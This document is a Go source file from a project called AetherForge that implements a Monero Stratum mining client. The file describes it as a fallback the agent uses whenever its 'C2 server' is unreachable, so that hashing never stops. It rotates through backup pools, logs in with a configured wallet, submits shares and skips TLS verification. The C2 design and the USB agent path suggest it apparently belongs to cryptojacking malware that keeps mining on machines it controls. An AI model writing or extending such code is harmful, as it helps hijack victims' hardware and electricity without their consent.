AetherForge/usb/agent/miner/stratum.go

package miner

// StratumClient provides a minimal Monero Stratum client that the agent falls
// back to when the C2 server is unreachable. It feeds jobs directly into the
// existing miner.Pool so hashing never stops, and submits found shares back to
// the pool over Stratum so they are not lost.
//
// Protocol: JSON-RPC over TCP (or TLS), newline-delimited messages.
// Reference: https://p2pool.io/docs/stratum.html

import (
	"bufio"
	"crypto/tls"
	"encoding/json"
	"fmt"
	"log"
	"net"
	"time"

	"crypto-miner-agent/config"
	"crypto-miner-agent/job"
)

// ─── Wire types ──────────────────────────────────────────────────────────────

type stratumMsg struct {
	ID      interface{}     `json:"id"`
	JSONRPC string          `json:"jsonrpc,omitempty"`
	Method  string          `json:"method,omitempty"`
	Params  json.RawMessage `json:"params,omitempty"`
	Result  json.RawMessage `json:"result,omitempty"`
	Error   interface{}     `json:"error,omitempty"`
}

type loginResult struct {
	ID     string       `json:"id"`
	Job    *stratumJob  `json:"job"`
	Status string       `json:"status"`
}

type stratumJob struct {
	Blob     string `json:"blob"`
	JobID    string `json:"job_id"`
	Target   string `json:"target"`
	SeedHash string `json:"seed_hash"`
	Height   int64  `json:"height"`
}

type submitParams struct {
	ID    string `json:"id"`
	JobID string `json:"job_id"`
	Nonce string `json:"nonce"`
	Hash  string `json:"result"` // field name "result" in Stratum protocol
}

// ─── Pool endpoint list ───────────────────────────────────────────────────────

type stratumEndpoint struct {
	Host string
	Port int
	TLS  bool
	Pass string
}

func buildStratumEndpoints(cfg config.RuntimeConfig) []stratumEndpoint {
	eps := []stratumEndpoint{{
		Host: cfg.PoolHost,
		Port: cfg.PoolPort,
		TLS:  cfg.PoolTLS,
		Pass: cfg.PoolPass,
	}}
	for _, bp := range cfg.BackupPools {
		if bp.Host != "" && bp.Port > 0 {
			eps = append(eps, stratumEndpoint{
				Host: bp.Host,
				Port: bp.Port,
				TLS:  bp.TLS,
				Pass: bp.Pass,
			})
		}
	}
	return eps
}

// ─── StratumClient ───────────────────────────────────────────────────────────

// StratumClient mines via a direct Stratum connection. It is started when the
// C2 server is unreachable and stopped as soon as C2 comes back.
type StratumClient struct {
	pool *Pool
	cfg  config.RuntimeConfig
}

func NewStratumClient(pool *Pool, cfg config.RuntimeConfig) *StratumClient {
	return &StratumClient{pool: pool, cfg: cfg}
}

// RunFallback cycles through all configured pools, trying each in turn, until
// stopCh is closed.  If a pool does not deliver a mining job within 5 seconds
// of a successful login the connection is dropped and the next pool is tried.
func (s *StratumClient) RunFallback(stopCh <-chan struct{}) {
	if s.cfg.PoolHost == "" {
		log.Printf("[stratum] no pool configured — fallback unavailable")
		return
	}
	endpoints := buildStratumEndpoints(s.cfg)
	idx := 0
	for {
		select {
		case <-stopCh:
			return
		default:
		}
		ep := endpoints[idx%len(endpoints)]
		log.Printf("[stratum] connecting to %s:%d (pool %d/%d)", ep.Host, ep.Port, idx%len(endpoints)+1, len(endpoints))
		if err := s.runPool(ep, stopCh); err != nil {
			log.Printf("[stratum] pool %s:%d: %v — rotating to next pool", ep.Host, ep.Port, err)
		}
		idx++
		// Short pause between pool attempts so we don't hammer them.
		select {
		case <-stopCh:
			return
		case <-time.After(3 * time.Second):
		}
	}
}

// runPool manages one Stratum connection until it fails or stopCh is closed.
func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) error {
	addr := net.JoinHostPort(ep.Host, fmt.Sprintf("%d", ep.Port))
	var conn net.Conn
	var err error
	if ep.TLS {
		conn, err = tls.Dial("tcp", addr, &tls.Config{InsecureSkipVerify: true}) //nolint:gosec
	} else {
		conn, err = net.DialTimeout("tcp", addr, 10*time.Second)
	}
	if err != nil {
		return err
	}
	defer conn.Close()

	// Set up a reader (Stratum is newline-delimited JSON).
	reader := bufio.NewReader(conn)
	msgID := 1

	// ── Login ────────────────────────────────────────────────────────────────
	wallet := s.cfg.Wallet
	pass := ep.Pass
	if pass == "" {
		pass = "x"
	}
	loginReq, _ := json.Marshal(stratumMsg{
		ID:      msgID,
		JSONRPC: "2.0",
		Method:  "login",
		Params: mustMarshal(map[string]interface{}{
			"login": wallet,
			"pass":  pass,
			"rigid": s.cfg.WorkerName,
			"agent": "AetherForge/" + config.Version,
		}),
	})
	msgID++
	if _, err := fmt.Fprintf(conn, "%s\n", loginReq); err != nil {
		return fmt.Errorf("login send: %w", err)
	}
	_ = conn.SetDeadline(time.Now().Add(30 * time.Second))
	loginLine, err := reader.ReadString('\n')
	if err != nil {
		return fmt.Errorf("login read: %w", err)
	}
	_ = conn.SetDeadline(time.Time{}) // clear deadline

	var loginResp stratumMsg
	if err := json.Unmarshal([]byte(loginLine), &loginResp); err != nil {
		return fmt.Errorf("login parse: %w", err)
	}
	if loginResp.Error != nil {
		return fmt.Errorf("login error: %v", loginResp.Error)
	}
	var lr loginResult
	if err := json.Unmarshal(loginResp.Result, &lr); err != nil {
		return fmt.Errorf("login result parse: %w", err)
	}
	sessionID := lr.ID
	log.Printf("[stratum] authenticated on %s — session %s", addr, sessionID)

	// Feed the initial job from the login response.
	gotJob := lr.Job != nil
	if lr.Job != nil {
		s.setJob(lr.Job)
	}

	// ── Share submission channel ──────────────────────────────────────────────
	// The pool's share handler sends shares here; this goroutine drains them
	// and writes submit requests to the Stratum connection.
	shareCh := make(chan [3]string, 64) // [jobID, nonce, hash]
	s.pool.SetShareHandler(func(jobID, nonce, hash string) {
		select {
		case shareCh <- [3]string{jobID, nonce, hash}:
		default:
			log.Printf("[stratum] share channel full — dropping share")
		}
	})

	// innerDone is closed when runPool returns for any reason (connection error
	// or stopCh). It signals the submit goroutine to exit even when stopCh is
	// still open, preventing a hang until the next share arrives.
	innerDone := make(chan struct{})
	submitDone := make(chan struct{})
	go func() {
		defer close(submitDone)
		for {
			select {
			case <-stopCh:
				return
			case <-innerDone:
				return
			case share, ok := <-shareCh:
				if !ok {
					return
				}
				params, _ := json.Marshal(submitParams{
					ID:    sessionID,
					JobID: share[0],
					Nonce: share[1],
					Hash:  share[2],
				})
				req, _ := json.Marshal(stratumMsg{
					ID:      msgID,
					JSONRPC: "2.0",
					Method:  "submit",
					Params:  params,
				})
				msgID++
				if _, err := fmt.Fprintf(conn, "%s\n", req); err != nil {
					log.Printf("[stratum] submit write error: %v", err)
					return
				}
			}
		}
	}()
	// Signal the submit goroutine and wait for it when runPool returns.
	defer func() {
		close(innerDone)
		<-submitDone
	}()

	// Close the TCP connection as soon as stopCh fires so that the blocking
	// reader.ReadString call (120 s deadline) unblocks immediately rather than
	// making callers wait up to two minutes for the fallback to stop.
	go func() {
		select {
		case <-stopCh:
			_ = conn.Close()
		case <-innerDone:
		}
	}()

	// ── Job receive loop ──────────────────────────────────────────────────────
	// If the login response contained no job, give the pool 60 seconds to push
	// one before we give up and rotate to the next endpoint.
	var jobDeadline <-chan time.Time
	if !gotJob {
		jobDeadline = time.After(60 * time.Second)
	}

	keepalive := time.NewTicker(60 * time.Second)
	defer keepalive.Stop()

	for {
		select {
		case <-stopCh:
			return nil
		case <-jobDeadline:
			return fmt.Errorf("no job received within 60s — rotating to next pool")
		case <-keepalive.C:
			req, _ := json.Marshal(stratumMsg{
				ID:      msgID,
				JSONRPC: "2.0",
				Method:  "keepalived",
				Params:  mustMarshal(map[string]string{"id": sessionID}),
			})
			msgID++
			_, _ = fmt.Fprintf(conn, "%s\n", req)
		default:
		}

		_ = conn.SetDeadline(time.Now().Add(120 * time.Second))
		line, err := reader.ReadString('\n')
		if err != nil {
			return fmt.Errorf("read: %w", err)
		}
		var msg stratumMsg
		if err := json.Unmarshal([]byte(line), &msg); err != nil {
			continue
		}
		if msg.Method == "job" {
			var sj stratumJob
			if err := json.Unmarshal(msg.Params, &sj); err == nil {
				s.setJob(&sj)
				jobDeadline = nil // job received — cancel the 60s rotation timer
			}
		}
	}
}

// setJob converts a Stratum job into the agent's internal job.Job format and
// feeds it into the miner Pool.
func (s *StratumClient) setJob(sj *stratumJob) {
	if sj == nil || sj.Blob == "" {
		return
	}
	j := &job.Job{
		ID:       sj.JobID,
		Blob:     sj.Blob,
		Target:   sj.Target,
		SeedHash: sj.SeedHash,
	}
	s.pool.SetJob(j)
	log.Printf("[stratum] new job %s (height %d)", sj.JobID, sj.Height)
}

func mustMarshal(v interface{}) json.RawMessage {
	b, _ := json.Marshal(v)
	return b
}